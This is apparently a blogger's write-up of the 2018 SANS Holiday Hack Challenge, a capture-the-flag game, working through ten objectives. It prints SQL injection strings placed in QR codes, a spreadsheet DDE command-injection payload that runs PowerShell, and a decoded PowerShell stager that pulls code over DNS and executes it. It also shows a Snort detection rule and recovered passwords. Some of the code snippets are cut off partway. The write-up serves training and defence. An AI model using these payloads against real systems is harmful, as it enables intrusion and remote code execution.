Like the previous past years, SANS organized their Holiday Hack Challenge. It’s a great entry level CTF which introduces the players to a wide range of interesting problems. As always, it’s packaged as a nice game with a cute story and I try to play through it every year. This post contains the write-up I submitted as part of the challenge.

As I was a bit short on time, this write-up omits some details about what the challenge was about. To fully understand the context I recommend trying the challenges yourself as they are pretty good.

Objective 1 - Orientation Challenge

Having played all previous Holiday Hack Challenges it was fairly easy to correctly answer the questions.

Question 1
In 2015, the Dosis siblings asked for help understanding what piece of their “Gnome in Your Home” toy?

  • Firmware

Question 2
In 2015, the Dosis siblings disassembled the conspiracy dreamt up by which corporation?


Question 3
In 2016, participants were sent off on a problem-solving quest based on what artifact that Santa left?

  • Business card

Question 4
In 2016, Linux terminals at the North Pole could be accessed with what kind of computer?

  • Cranberry Pi

Question 5
In 2017, the North Pole was being bombarded by giant objects. What were they?

  • Snowballs

Question 6
In 2017, Sam the snowman needed help reassembling pages torn from what?

  • The Great Book

Which gives the phrase: “Happy Trails”

Objective 2 - Directory Browsing

We can visit the CFP site and click the CFP menu item. From there, we remove the “cfp.html” part of the URL to see the directory listing. Finally, we can then look at the “rejected-talks.csv” file. This takes us through the follow URLs:


In the CSV, we can search for “Data Loss for Rainbow Teams: A Path in the Darkness” and find this entry:

“qmt3,2,8040424,200,FALSE,FALSE,John,McClane,Director of Security,Data Loss for Rainbow Teams: A Path in the Darkness,1,11”

Which gives the answer “John McClane”

Objective 3 - de Bruijn Sequences

We map the four symbols to the letters A-D and then use the de_bruijn() function included in pwntools to generate the n=4, k=4 de Bruijn sequence:

> print(''.join(de_bruijn("ABCD", 4)))

We can then start typing in these symbols. Eventually, we reach the sequence: “TRIANGLE SQUARE CIRCLE TRIANGLE” which is the correct password (marked in comment above)

Inside, the elf says: “Welcome unprepared speaker!”

Objective 4 - Data Repo Analysis

We get a URL to a git repo which we can analyze:

By checking out the repo, looking at the commit messages in the log and checking out an interesting looking state, we can find a zip file.

$ git clone
$ git log
$ git checkout 4c32967a8e097180c328cd02ec81df5c4d36200e
$ find . -name '*.zip'
$ cp schematics/ ..

We can then use “trufflehog” to search for interesting data:

$ trufflehog --entropy true santas_castle_automation
Reason: High Entropy
Date: 2018-12-11 08:16:57
Hash: 0dfdc124b43a4e7e1233599c429c0328ec8b01ef
Filepath: schematics/files/dot/PW/
Branch: origin/master
Commit: important update

-Password = 'Yippee-ki-yay'

Which gives us the password: “Yippee-ki-yay”

Objective 5 - AD Privilege Discovery

I imported the VM into VMWare Player, started it and launched Bloodhound. In Bloodhound, I ran the query “Shortest patch to DA from kerberoastable”. Looking at the graph, I ignored all edges marked “CanRDP” and thus arrived at the only remaining account: “LDUBEJ00320@AD.KRINGLECASTLE.COM”

Obj 6 - Badge Manipulation

We can analyze the given badge with zbarimg.

$ zbarimg alabaster_badge.jpg

The badge contains an ID and the hypothesis is that it is passed to an SQL query. We try encoding and submitting some QR codes with an SQL injection payload. The following attempts gives various types of errors:

$ qrencode -o badge_hack.png "' OR '1'='1"
$ qrencode -o badge_hack.png "'/**/OR/**/'1'='1" 
$ qrencode -o badge_hack.png "'/**/OR/**/'1'='0"

This tells us that the account found by the 1=1 is disabled so we need to insert a dummy account with a UNION statement. We try until we get the number of columns right.

$ qrencode -o badge_hack2.png "' UNION SELECT 1;#"
$ qrencode -o badge_hack2.png "' UNION SELECT 1,2,3;#"

This unlocks the door and gives us the access control number: 19880715

Objective 7 - HR Incident Response

By browsing around the site and triggering a 404 page we get to know that files in the path “C:\careerportal\resources\public" are accessible at the URL “”. We are trying to get the contents of the file “C:\candidate_evaluation.docx”. Submitting the form with a CSV containing the following payload:

=cmd|'/C powershell copy C:\\candidate_evaluation.docx  C:\\careerportal\\resources\\public\\a.docx'!A0

will then copy the file to the publicly accessible path and can then be downloaded at “”.

Which gives us the name of the organisation: “Fancy Beaver”

Objective 8 - Network Traffic Forensics

Looking at the client side code we find a comment: “All extensions and sizes are validated server-side in app.js” There is also a js file hosted at “” Adding this together leads us to getting the (corrupted) source code at “”.

In the source code we see that we can list the contents of the environment variable list by accessing them as a path. Doing this gives us the path of the SSLKEYLOGFILE.

$ curl ''
Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/'
$ curl '' -O

We can then download this log and a packet capture we get from registering, logging in and pressing “sniff”. Putting the SSLKEYLOGFILE and the packet capture into Wireshark allows us to decrypt the HTTPS traffic and retrieve the login for “alabaster”.

Username: alabaster
Password: Packer-p@re-turntable192

We can then log in with this account and download another pcap file which contains an e-mail transaction.

From the pcap we can extract an attachment which is a document about transposing music.

This gives us the name of the song: “Mary Had a Little Lamb”

Objective 9 - Ransomware Recovery

Part 1 - Catch the Malware

Using tshark we can look at the traffic and see a lot of DNS queries on the following form:

309   3.138054 ? DNS 102 Standard query 0xbe44 TXT

Looking at a few more examples, we see that the query is always 56 characters long with first 1-3 digits followed by a separator and about 40 hex characters. We can then write the following Snort rule to match these queries

$ cat /etc/snort/rules/local.rules 
alert udp any any <> any 53 (msg:"DNS Malware"; sid:1000001; pcre:"/.*[0-9A-F]{1,4}.[A-F0-9]{35,42}/"; rev:2;) 

Part 2 - Identify the Domain

In the “docm” file we can extract the embedded VBA code which contains a compressed and base 64 converted snippet of code. Decoding it gives the inner payload.

$ echo "lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG" | base64 -d > vba_payload.dat
$ printf "\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x00" |cat - vba_payload.dat|gunzip --
function H2A($a) {$o; $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o}; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server -Name "$" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server -Name "$i.$" -Type TXT).strings}; iex($(H2A $h | Out-string))

Which gives us the domain the malware is communicating with: “”.

Part 3 - Stop the Malware

The inner payload is a stager which uses the remote domain for downloading another file “wannacookie.min.ps1” and running it. Using the same Powershell code we can download the uncompressed “wannacookie.ps1” file and read the source code. There is a suspicious string in the code and again by using the powershell code we can decode it.

$ echo $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server -Name -Type TXT).Strings)))

This gives us the killswitch domain that we can register (Support Marcus Hutchins): yippeekiyaa.aaay

Part 4 - Recover Alabaster’s Password

From the zip file, we get Alabaster’s encrypted passwords database and a memory dump of the powershell process. By analyzing the source code, we see that the malware generates a secret key, downloads a public key from the server, encrypts the secret key with the public key and uplaods it to the server. Usung powerdump we can search for Powershell variables in memory. By downloading the same public key “server.crt” and encrypting a dummy value we can see that the encrypted key is 512 characters. With this info we can search in powerdump for variables of roughly that length which gives is a few results. All of them are code blocks except one which has the following value:


We can then download the private key “server.key” and first decrypt the key and then use the key to decrypt the password database with the following Python code:

encrypted_key = "3cf903522e1..."

with open('server.key', 'rb') as fin:
    key = RSA.importKey(

cipher =
aeskey = cipher.decrypt(encrypted_key.decode('hex'))

with open('alabaster_passwords.elfdb.wannacookie', 'rb') as fin:
    ciphertext =

# The first 4 bytes is the block size, we just assume it is 16.
# The next 16 bytes is the IV and then the rest of the data is the ciphertext.
aes =, AES.MODE_CBC, ciphertext[4:4+16])
m = aes.decrypt(ciphertext[4+16:])

with open('alabaster_passwords.elfdb', 'wb') as fout:

We can then dump the contents of the passwords in the database:

sqlite3 alabaster_passwords.elfdb
sqlite> .dump
PRAGMA foreign_keys=OFF;
	`name`	TEXT NOT NULL,
	`password`	TEXT NOT NULL,
	`usedfor`	TEXT NOT NULL
INSERT INTO passwords VALUES('alabaster.snowball','ED#ED#EED#EF#G#F#G#ABA#BA#B','vault');

Which gives the final password: “ED#ED#EED#EF#G#F#G#ABA#BA#B”

Objective 10 - Who Is Beind It All?

It turns out that it was Santa who was behind everything to find a skilled hacker who can defend the north pole against attackers.

Final answer: Santa


As always, it was great fun to play this year’s challenge. If you haven’t checked it out yet I recommend to do so. Apart from the 10 “main” objectives there are a few mini challenges to solve as well.